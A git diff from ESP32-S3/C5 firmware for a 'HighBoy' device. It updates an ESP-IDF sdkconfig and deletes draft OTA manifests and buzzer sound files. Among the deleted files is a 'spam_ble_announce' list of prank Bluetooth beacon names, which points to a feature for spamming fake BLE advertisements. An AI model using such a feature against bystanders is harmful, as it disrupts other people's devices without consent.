CONFIG_MBEDTLS_AES_INTERRUPT_LEVEL=0 +# CONFIG_MBEDTLS_AES_USE_PSEUDO_ROUND_FUNC is not set CONFIG_MBEDTLS_GCM_SUPPORT_NON_AES_CIPHER=y CONFIG_MBEDTLS_HARDWARE_MPI=y # CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI is not set CONFIG_MBEDTLS_MPI_USE_INTERRUPT=y CONFIG_MBEDTLS_MPI_INTERRUPT_LEVEL=0 CONFIG_MBEDTLS_HARDWARE_SHA=y +CONFIG_MBEDTLS_HARDWARE_ECC=y +CONFIG_MBEDTLS_ECC_OTHER_CURVES_SOFT_FALLBACK=y CONFIG_MBEDTLS_ROM_MD5=y +# CONFIG_MBEDTLS_HARDWARE_ECDSA_SIGN is not set +CONFIG_MBEDTLS_HARDWARE_ECDSA_VERIFY=y # CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set # CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set CONFIG_MBEDTLS_HAVE_TIME=y @@ -2287,10 +2368,9 @@ CONFIG_LIBC_TIME_SYSCALL_USE_RTC_HRT=y # CONFIG_LIBC_TIME_SYSCALL_USE_RTC is not set # CONFIG_LIBC_TIME_SYSCALL_USE_HRT is not set # CONFIG_LIBC_TIME_SYSCALL_USE_NONE is not set +# CONFIG_LIBC_OPTIMIZED_MISALIGNED_ACCESS is not set # end of LibC -CONFIG_STDATOMIC_S32C1I_SPIRAM_WORKAROUND=y - # # NVS # @@ -2327,9 +2407,6 @@ CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_PATCH_VERSION=y CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5 CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 CONFIG_PTHREAD_STACK_MIN=768 -CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y -# CONFIG_PTHREAD_DEFAULT_CORE_0 is not set -# CONFIG_PTHREAD_DEFAULT_CORE_1 is not set CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1 CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread" # end of PThreads @@ -2360,14 +2437,9 @@ CONFIG_SPI_FLASH_BROWNOUT_RESET=y # # Features here require specific hardware (READ DOCS FIRST!) # -# CONFIG_SPI_FLASH_HPM_ENA is not set -CONFIG_SPI_FLASH_HPM_AUTO=y -# CONFIG_SPI_FLASH_HPM_DIS is not set -CONFIG_SPI_FLASH_HPM_ON=y -CONFIG_SPI_FLASH_HPM_DC_AUTO=y -# CONFIG_SPI_FLASH_HPM_DC_DISABLE is not set # CONFIG_SPI_FLASH_AUTO_SUSPEND is not set CONFIG_SPI_FLASH_SUSPEND_TSUS_VAL_US=50 +CONFIG_SPI_FLASH_SUSPEND_TRS_VAL_US=50 # CONFIG_SPI_FLASH_FORCE_ENABLE_XMC_C_SUSPEND is not set # CONFIG_SPI_FLASH_FORCE_ENABLE_C6_H2_SUSPEND is not set CONFIG_SPI_FLASH_PLACE_FUNCTIONS_IN_IRAM=y @@ -2398,18 +2470,13 @@ CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192 # CONFIG_SPI_FLASH_VENDOR_XMC_SUPPORT_ENABLED=y CONFIG_SPI_FLASH_VENDOR_GD_SUPPORT_ENABLED=y -CONFIG_SPI_FLASH_VENDOR_ISSI_SUPPORT_ENABLED=y -CONFIG_SPI_FLASH_VENDOR_MXIC_SUPPORT_ENABLED=y -CONFIG_SPI_FLASH_VENDOR_WINBOND_SUPPORT_ENABLED=y CONFIG_SPI_FLASH_VENDOR_BOYA_SUPPORT_ENABLED=y -CONFIG_SPI_FLASH_VENDOR_TH_SUPPORT_ENABLED=y CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP=y CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP=y CONFIG_SPI_FLASH_SUPPORT_GD_CHIP=y CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP=y CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP=y CONFIG_SPI_FLASH_SUPPORT_TH_CHIP=y -CONFIG_SPI_FLASH_SUPPORT_MXIC_OPI_CHIP=y # end of Auto-detect flash chips CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y @@ -2488,34 +2555,6 @@ CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y # CONFIG_UNITY_TEST_ORDER_BY_FILE_PATH_AND_LINE is not set # end of Unity unit testing library -# -# USB-OTG -# -CONFIG_USB_HOST_CONTROL_TRANSFER_MAX_SIZE=256 -CONFIG_USB_HOST_HW_BUFFER_BIAS_BALANCED=y -# CONFIG_USB_HOST_HW_BUFFER_BIAS_IN is not set -# CONFIG_USB_HOST_HW_BUFFER_BIAS_PERIODIC_OUT is not set - -# -# Hub Driver Configuration -# - -# -# Root Port configuration -# -CONFIG_USB_HOST_DEBOUNCE_DELAY_MS=250 -CONFIG_USB_HOST_RESET_HOLD_MS=30 -CONFIG_USB_HOST_RESET_RECOVERY_MS=30 -CONFIG_USB_HOST_SET_ADDR_RECOVERY_MS=10 -# end of Root Port configuration - -# CONFIG_USB_HOST_HUBS_SUPPORTED is not set -# end of Hub Driver Configuration - -# CONFIG_USB_HOST_ENABLE_ENUM_FILTER_CALLBACK is not set -CONFIG_USB_OTG_SUPPORTED=y -# end of USB-OTG - # # Virtual file system # @@ -2559,108 +2598,11 @@ CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y # end of Wi-Fi Provisioning Manager # -# TinyUSB Stack -# -CONFIG_TINYUSB_DEBUG_LEVEL=1 -CONFIG_TINYUSB_RHPORT_FS=y - -# -# TinyUSB DCD -# -# CONFIG_TINYUSB_MODE_SLAVE is not set -CONFIG_TINYUSB_MODE_DMA=y -# end of TinyUSB DCD - -# -# TinyUSB task configuration -# -# CONFIG_TINYUSB_NO_DEFAULT_TASK is not set -CONFIG_TINYUSB_TASK_PRIORITY=5 -CONFIG_TINYUSB_TASK_STACK_SIZE=4096 -# CONFIG_TINYUSB_TASK_AFFINITY_NO_AFFINITY is not set -# CONFIG_TINYUSB_TASK_AFFINITY_CPU0 is not set -CONFIG_TINYUSB_TASK_AFFINITY_CPU1=y -CONFIG_TINYUSB_TASK_AFFINITY=0x1 -# CONFIG_TINYUSB_INIT_IN_DEFAULT_TASK is not set -# end of TinyUSB task configuration - -# -# Descriptor configuration -# - -# -# You can provide your custom descriptors via tinyusb_driver_install() -# -CONFIG_TINYUSB_DESC_USE_ESPRESSIF_VID=y -CONFIG_TINYUSB_DESC_USE_DEFAULT_PID=y -CONFIG_TINYUSB_DESC_BCD_DEVICE=0x0100 -CONFIG_TINYUSB_DESC_MANUFACTURER_STRING="Espressif Systems" -CONFIG_TINYUSB_DESC_PRODUCT_STRING="Espressif Device" -CONFIG_TINYUSB_DESC_SERIAL_STRING="123456" -# end of Descriptor configuration - -# -# Massive Storage Class (MSC) -# -# CONFIG_TINYUSB_MSC_ENABLED is not set - -# -# TinyUSB FAT Format Options -# -CONFIG_TINYUSB_FAT_FORMAT_ANY=y -# CONFIG_TINYUSB_FAT_FORMAT_FAT is not set -# CONFIG_TINYUSB_FAT_FORMAT_FAT32 is not set -# CONFIG_TINYUSB_FAT_FORMAT_EXFAT is not set -# CONFIG_TINYUSB_FAT_FORMAT_SFD is not set -# end of TinyUSB FAT Format Options -# end of Massive Storage Class (MSC) - -# -# Communication Device Class (CDC) -# -# CONFIG_TINYUSB_CDC_ENABLED is not set -# end of Communication Device Class (CDC) - -# -# Musical Instrument Digital Interface (MIDI) -# -CONFIG_TINYUSB_MIDI_COUNT=0 -# end of Musical Instrument Digital Interface (MIDI) - -# -# Human Interface Device Class (HID) -# -CONFIG_TINYUSB_HID_COUNT=2 -# end of Human Interface Device Class (HID) - -# -# Device Firmware Upgrade (DFU) -# -# CONFIG_TINYUSB_DFU_MODE_DFU is not set -# CONFIG_TINYUSB_DFU_MODE_DFU_RUNTIME is not set -CONFIG_TINYUSB_DFU_MODE_NONE=y -# end of Device Firmware Upgrade (DFU) - -# -# Bluetooth Host Class (BTH) -# -# CONFIG_TINYUSB_BTH_ENABLED is not set -# end of Bluetooth Host Class (BTH) - -# -# Network driver (ECM/NCM/RNDIS) -# -# CONFIG_TINYUSB_NET_MODE_ECM_RNDIS is not set -# CONFIG_TINYUSB_NET_MODE_NCM is not set -CONFIG_TINYUSB_NET_MODE_NONE=y -# end of Network driver (ECM/NCM/RNDIS) - -# -# Vendor Specific Interface +# cJSON # -CONFIG_TINYUSB_VENDOR_COUNT=0 -# end of Vendor Specific Interface -# end of TinyUSB Stack +CONFIG_CJSON_NESTING_LIMIT=1000 +CONFIG_CJSON_CIRCULAR_LIMIT=10000 +# end of cJSON # # LittleFS @@ -2758,6 +2700,7 @@ CONFIG_LV_DRAW_LAYER_SIMPLE_BUF_SIZE=24576 CONFIG_LV_DRAW_LAYER_MAX_MEMORY=0 CONFIG_LV_USE_DRAW_SW=y CONFIG_LV_DRAW_SW_SUPPORT_RGB565=y +CONFIG_LV_DRAW_SW_SUPPORT_RGB565_SWAPPED=y CONFIG_LV_DRAW_SW_SUPPORT_RGB565A8=y CONFIG_LV_DRAW_SW_SUPPORT_RGB888=y CONFIG_LV_DRAW_SW_SUPPORT_XRGB8888=y @@ -2778,6 +2721,7 @@ CONFIG_LV_DRAW_SW_CIRCLE_CACHE_SIZE=4 CONFIG_LV_DRAW_SW_ASM_NONE=y # CONFIG_LV_DRAW_SW_ASM_NEON is not set # CONFIG_LV_DRAW_SW_ASM_HELIUM is not set +# CONFIG_LV_DRAW_SW_ASM_RISCV_V is not set # CONFIG_LV_DRAW_SW_ASM_CUSTOM is not set CONFIG_LV_USE_DRAW_SW_ASM=0 # CONFIG_LV_USE_PXP is not set @@ -2832,6 +2776,7 @@ CONFIG_LV_COLOR_MIX_ROUND_OFS=128 # CONFIG_LV_USE_OBJ_ID is not set # CONFIG_LV_USE_OBJ_NAME is not set # CONFIG_LV_USE_OBJ_PROPERTY is not set +# CONFIG_LV_USE_EXT_DATA is not set # end of Others # end of Feature Configuration @@ -3031,6 +2976,7 @@ CONFIG_LV_USE_LODEPNG=y # CONFIG_LV_USE_BMP is not set # CONFIG_LV_USE_TJPGD is not set # CONFIG_LV_USE_LIBJPEG_TURBO is not set +# CONFIG_LV_USE_LIBWEBP is not set # CONFIG_LV_USE_GIF is not set # CONFIG_LV_BIN_DECODER_RAM_LOAD is not set # CONFIG_LV_USE_RLE is not set @@ -3040,6 +2986,7 @@ CONFIG_LV_USE_LODEPNG=y # CONFIG_LV_USE_TINY_TTF is not set # CONFIG_LV_USE_RLOTTIE is not set # CONFIG_LV_USE_THORVG is not set +# CONFIG_LV_USE_NANOVG is not set # CONFIG_LV_USE_LZ4 is not set # CONFIG_LV_USE_FFMPEG is not set # end of 3rd Party Libraries @@ -3060,10 +3007,9 @@ CONFIG_LV_USE_OBSERVER=y # CONFIG_LV_USE_FONT_MANAGER is not set # CONFIG_LV_USE_TEST is not set # CONFIG_LV_USE_TRANSLATION is not set -# CONFIG_LV_USE_XML is not set # CONFIG_LV_USE_COLOR_FILTER is not set CONFIG_LVGL_VERSION_MAJOR=9 -CONFIG_LVGL_VERSION_MINOR=4 +CONFIG_LVGL_VERSION_MINOR=5 CONFIG_LVGL_VERSION_PATCH=0 # end of Others @@ -3090,7 +3036,6 @@ CONFIG_LVGL_VERSION_PATCH=0 # CONFIG_LV_USE_ST_LTDC is not set # CONFIG_LV_USE_FT81X is not set # CONFIG_LV_USE_UEFI is not set -# CONFIG_LV_USE_OPENGLES is not set # CONFIG_LV_USE_QNX is not set # end of Devices @@ -3108,7 +3053,6 @@ CONFIG_LV_BUILD_DEMOS=y # CONFIG_LV_USE_DEMO_KEYPAD_AND_ENCODER is not set # CONFIG_LV_USE_DEMO_BENCHMARK is not set # CONFIG_LV_USE_DEMO_RENDER is not set -# CONFIG_LV_USE_DEMO_SCROLL is not set # CONFIG_LV_USE_DEMO_STRESS is not set # CONFIG_LV_USE_DEMO_MUSIC is not set # CONFIG_LV_USE_DEMO_FLEX_LAYOUT is not set @@ -3166,8 +3110,6 @@ CONFIG_NIMBLE_MAX_CONNECTIONS=3 CONFIG_NIMBLE_MAX_BONDS=3 CONFIG_NIMBLE_MAX_CCCDS=8 CONFIG_NIMBLE_L2CAP_COC_MAX_NUM=0 -CONFIG_NIMBLE_PINNED_TO_CORE_0=y -# CONFIG_NIMBLE_PINNED_TO_CORE_1 is not set CONFIG_NIMBLE_PINNED_TO_CORE=0 CONFIG_NIMBLE_TASK_STACK_SIZE=4096 CONFIG_BT_NIMBLE_TASK_STACK_SIZE=4096 @@ -3191,7 +3133,6 @@ CONFIG_BT_NIMBLE_ACL_BUF_SIZE=255 CONFIG_BT_NIMBLE_HCI_EVT_BUF_SIZE=70 CONFIG_BT_NIMBLE_HCI_EVT_HI_BUF_COUNT=30 CONFIG_BT_NIMBLE_HCI_EVT_LO_BUF_COUNT=8 -# CONFIG_NIMBLE_HS_FLOW_CTRL is not set CONFIG_NIMBLE_RPA_TIMEOUT=900 # CONFIG_NIMBLE_MESH is not set CONFIG_NIMBLE_CRYPTO_STACK_MBEDTLS=y @@ -3200,7 +3141,7 @@ CONFIG_BT_NIMBLE_COEX_PHY_CODED_TX_RX_TLIM_DIS=y CONFIG_SW_COEXIST_ENABLE=y CONFIG_ESP32_WIFI_SW_COEXIST_ENABLE=y CONFIG_ESP_WIFI_SW_COEXIST_ENABLE=y -# CONFIG_CAM_CTLR_DVP_CAM_ISR_IRAM_SAFE is not set +# CONFIG_ANA_CMPR_ISR_IRAM_SAFE is not set # CONFIG_GPTIMER_ISR_IRAM_SAFE is not set # CONFIG_MCPWM_ISR_IRAM_SAFE is not set # CONFIG_EVENT_LOOP_PROFILING is not set @@ -3209,32 +3150,15 @@ CONFIG_POST_EVENTS_FROM_IRAM_ISR=y CONFIG_GDBSTUB_SUPPORT_TASKS=y CONFIG_GDBSTUB_MAX_TASKS=32 # CONFIG_OTA_ALLOW_HTTP is not set -CONFIG_ESP32S3_DEEP_SLEEP_WAKEUP_DELAY=2000 -CONFIG_ESP_SLEEP_DEEP_SLEEP_WAKEUP_DELAY=2000 -CONFIG_ESP32S3_RTC_CLK_SRC_INT_RC=y -# CONFIG_ESP32S3_RTC_CLK_SRC_EXT_CRYS is not set -# CONFIG_ESP32S3_RTC_CLK_SRC_EXT_OSC is not set -# CONFIG_ESP32S3_RTC_CLK_SRC_INT_8MD256 is not set -CONFIG_ESP32S3_RTC_CLK_CAL_CYCLES=1024 CONFIG_PERIPH_CTRL_FUNC_IN_IRAM=y CONFIG_BROWNOUT_DET=y -CONFIG_ESP32S3_BROWNOUT_DET=y CONFIG_BROWNOUT_DET_LVL_SEL_7=y -CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_7=y # CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set -# CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_6 is not set # CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set -# CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_5 is not set # CONFIG_BROWNOUT_DET_LVL_SEL_4 is not set -# CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_4 is not set # CONFIG_BROWNOUT_DET_LVL_SEL_3 is not set -# CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_3 is not set # CONFIG_BROWNOUT_DET_LVL_SEL_2 is not set -# CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_2 is not set -# CONFIG_BROWNOUT_DET_LVL_SEL_1 is not set -# CONFIG_ESP32S3_BROWNOUT_DET_LVL_SEL_1 is not set CONFIG_BROWNOUT_DET_LVL=7 -CONFIG_ESP32S3_BROWNOUT_DET_LVL=7 CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE=y # CONFIG_ESP32_PHY_INIT_DATA_IN_PARTITION is not set @@ -3243,14 +3167,6 @@ CONFIG_ESP32_PHY_MAX_TX_POWER=20 # CONFIG_REDUCE_PHY_TX_POWER is not set # CONFIG_ESP32_REDUCE_PHY_TX_POWER is not set CONFIG_ESP_SYSTEM_PM_POWER_DOWN_CPU=y -CONFIG_PM_POWER_DOWN_TAGMEM_IN_LIGHT_SLEEP=y -CONFIG_ESP32S3_SPIRAM_SUPPORT=y -CONFIG_DEFAULT_PSRAM_CLK_IO=30 -CONFIG_DEFAULT_PSRAM_CS_IO=26 -# CONFIG_ESP32S3_DEFAULT_CPU_FREQ_80 is not set -CONFIG_ESP32S3_DEFAULT_CPU_FREQ_160=y -# CONFIG_ESP32S3_DEFAULT_CPU_FREQ_240 is not set -CONFIG_ESP32S3_DEFAULT_CPU_FREQ_MHZ=160 CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 CONFIG_MAIN_TASK_STACK_SIZE=8192 @@ -3261,15 +3177,12 @@ CONFIG_MAIN_TASK_STACK_SIZE=8192 CONFIG_CONSOLE_UART_NUM=-1 CONFIG_INT_WDT=y CONFIG_INT_WDT_TIMEOUT_MS=300 -CONFIG_INT_WDT_CHECK_CPU1=y CONFIG_TASK_WDT=y CONFIG_ESP_TASK_WDT=y # CONFIG_TASK_WDT_PANIC is not set CONFIG_TASK_WDT_TIMEOUT_S=5 CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y -CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y # CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set -CONFIG_ESP32S3_DEBUG_OCDAWARE=y CONFIG_IPC_TASK_STACK_SIZE=1280 CONFIG_TIMER_TASK_STACK_SIZE=3584 CONFIG_ESP32_WIFI_ENABLED=y @@ -3285,8 +3198,6 @@ CONFIG_ESP32_WIFI_TX_BA_WIN=6 CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y CONFIG_ESP32_WIFI_RX_BA_WIN=6 CONFIG_ESP32_WIFI_NVS_ENABLED=y -CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_0=y -# CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_1 is not set CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN=752 CONFIG_ESP32_WIFI_MGMT_SBUF_NUM=32 CONFIG_ESP32_WIFI_IRAM_OPT=y @@ -3333,7 +3244,6 @@ CONFIG_UDP_RECVMBOX_SIZE=6 CONFIG_TCPIP_TASK_STACK_SIZE=3072 CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y # CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set -# CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF # CONFIG_PPP_SUPPORT is not set CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y @@ -3344,21 +3254,12 @@ CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y # CONFIG_NEWLIB_NANO_FORMAT is not set CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y -CONFIG_ESP32S3_TIME_SYSCALL_USE_RTC_SYSTIMER=y -CONFIG_ESP32S3_TIME_SYSCALL_USE_RTC_FRC1=y # CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set -# CONFIG_ESP32S3_TIME_SYSCALL_USE_RTC is not set # CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set -# CONFIG_ESP32S3_TIME_SYSCALL_USE_SYSTIMER is not set -# CONFIG_ESP32S3_TIME_SYSCALL_USE_FRC1 is not set # CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set -# CONFIG_ESP32S3_TIME_SYSCALL_USE_NONE is not set CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5 CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 CONFIG_ESP32_PTHREAD_STACK_MIN=768 -CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y -# CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set -# CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1 CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread" CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y diff --git a/firmware_c5/temp/config/OTA/firmware.json b/firmware_c5/temp/config/OTA/firmware.json deleted file mode 100644 index 0b1c70df..00000000 --- a/firmware_c5/temp/config/OTA/firmware.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "system_hardware": "HighBoy_v1", - "ota_repository_url": "https://repository.highboy.com.br/firmware/system/update.json", - "changelog": "vazio ate agora", - "components": { - "master_mcu": { - "chip": "ESP32-S3", - "version": "1.0.0", - "status": "active" - }, - "slave_mcu": { - "chip": "ESP32-C5", - "version": "1.0.0", - "status": "active" - } - } -} - -update.json (its be available in web server, saving it here temporary). -{ - "release_tag": "release_2024_01_update", github actions - "critical": true, - "changelog": "Update crítico do driver de rádio no C5 e melhorias de UI no S3.", - "packages": [ - { - "component": "master_mcu", - "version": "1.0.1", - "url": "https://repository.highboy.com.br/firmware/esp32-s3/fw_s3_1.0.1.bin", - "size": 1452032, - "md5": "5eb63bbbe01eeed093cb22bb8f5acdc3", - "action": "self_update" - }, - { - "component": "slave_mcu", - "version": "1.0.2", - "url": "https://repository.highboy.com.br/firmware/esp32-c5/fw_c5_1.0.2.bin", - "size": 524288, - "md5": "a1b2c3d4e5f6as12da123f12r6", - "action": "flash_via_peripheral" - } - ] -} diff --git a/firmware_c5/temp/config/bluetooth/beacon_list.conf b/firmware_c5/temp/config/bluetooth/beacon_list.conf deleted file mode 100644 index 9eed31c9..00000000 --- a/firmware_c5/temp/config/bluetooth/beacon_list.conf +++ /dev/null @@ -1,14 +0,0 @@ -{ - "spam_ble_announce": [ - "Darth Maul", - "Obi-Wan Kenobi", - "WiFi_Gratis_SQN", - "Virus_Detected", - "Area 51 Lab", - "FBI Surveillance Van", - "Click Here For Free Pizza", - "404 Network Not Found", - "High Code Guest", - "The Dark Side" - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/bluetooth/ble_announce.conf b/firmware_c5/temp/config/bluetooth/ble_announce.conf deleted file mode 100644 index f235a077..00000000 --- a/firmware_c5/temp/config/bluetooth/ble_announce.conf +++ /dev/null @@ -1,5 +0,0 @@ -{ - "ssid": "Darth Maul", - "max_conn": 4 -} - diff --git a/firmware_c5/temp/config/buzzer/buzzer.conf b/firmware_c5/temp/config/buzzer/buzzer.conf deleted file mode 100644 index 0aac3f6a..00000000 --- a/firmware_c5/temp/config/buzzer/buzzer.conf +++ /dev/null @@ -1,4 +0,0 @@ -{ - "volume": 3, - "enabled": 1 -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/default_notes.conf b/firmware_c5/temp/config/buzzer/default_notes.conf deleted file mode 100644 index 07ca5964..00000000 --- a/firmware_c5/temp/config/buzzer/default_notes.conf +++ /dev/null @@ -1,91 +0,0 @@ -{ - "B0": 31.00, - "C1": 33.00, - "CS1": 35.00, - "D1": 37.00, - "DS1": 39.00, - "E1": 41.00, - "F1": 44.00, - "FS1": 46.00, - "G1": 49.00, - "GS1": 52.00, - "A1": 55.00, - "AS1": 58.00, - "B1": 62.00, - "C2": 65.00, - "CS2": 69.00, - "D2": 73.00, - "DS2": 78.00, - "E2": 82.00, - "F2": 87.00, - "FS2": 93.00, - "G2": 98.00, - "GS2": 104.00, - "A2": 110.00, - "AS2": 117.00, - "B2": 123.00, - "C3": 131.00, - "CS3": 139.00, - "D3": 147.00, - "DS3": 156.00, - "E3": 165.00, - "F3": 175.00, - "FS3": 185.00, - "G3": 196.00, - "GS3": 208.00, - "A3": 220.00, - "AS3": 233.00, - "B3": 247.00, - "C4": 261.63, - "CS4": 277.00, - "D4": 293.66, - "DS4": 311.00, - "E4": 329.63, - "F4": 349.23, - "FS4": 370.00, - "G4": 392.00, - "GS4": 415.00, - "A4": 440.00, - "AS4": 466.00, - "B4": 493.88, - "C5": 523.25, - "CS5": 554.00, - "D5": 587.00, - "DS5": 622.00, - "E5": 659.00, - "F5": 698.00, - "FS5": 740.00, - "G5": 784.00, - "GS5": 831.00, - "A5": 880.00, - "AS5": 932.00, - "B5": 988.00, - "C6": 1047.00, - "CS6": 1109.00, - "D6": 1175.00, - "DS6": 1245.00, - "E6": 1319.00, - "F6": 1397.00, - "FS6": 1480.00, - "G6": 1568.00, - "GS6": 1661.00, - "A6": 1760.00, - "AS6": 1865.00, - "B6": 1976.00, - "C7": 2093.00, - "CS7": 2217.00, - "D7": 2349.00, - "DS7": 2489.00, - "E7": 2637.00, - "F7": 2794.00, - "FS7": 2960.00, - "G7": 3136.00, - "GS7": 3322.00, - "A7": 3520.00, - "AS7": 3729.00, - "B7": 3951.00, - "C8": 4186.00, - "CS8": 4435.00, - "D8": 4699.00, - "DS8": 4978.00 -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_access_denied.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_access_denied.conf deleted file mode 100644 index 089cfd2d..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_access_denied.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_access_denied", - "notes": [ - { - "freq": 311.00, - "duration": 200 - }, - { - "freq": 293.66, - "duration": 200 - }, - { - "freq": 277.00, - "duration": 200 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_access_granted.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_access_granted.conf deleted file mode 100644 index 07655907..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_access_granted.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_access_granted", - "notes": [ - { - "freq": 440.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 523.25, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_alarm.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_alarm.conf deleted file mode 100644 index 742a3845..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_alarm.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "buzzer_alarm", - "notes": [ - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250}, - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250}, - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250} - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_beep.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_beep.conf deleted file mode 100644 index 2e1fee3a..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_beep.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_beep", - "notes": [ - { - "freq": 988.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_boot_sequence.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_boot_sequence.conf deleted file mode 100644 index 6a7896b9..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_boot_sequence.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_boot_sequence", - "notes": [ - { - "freq": 523.25, - "duration": 80 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 659.00, - "duration": 60 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 784.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_click.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_click.conf deleted file mode 100644 index 5d891975..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_click.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_click", - "notes": [ - { - "freq": 784.00, - "duration": 50 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_critical_alert.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_critical_alert.conf deleted file mode 100644 index 55491809..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_critical_alert.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_critical_alert", - "notes": [ - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50} - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_digital_pulse.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_digital_pulse.conf deleted file mode 100644 index 02ae59fe..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_digital_pulse.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_digital_pulse", - "notes": [ - { - "freq": 1047.00, - "duration": 40 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1319.00, - "duration": 40 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1568.00, - "duration": 40 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_error.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_error.conf deleted file mode 100644 index 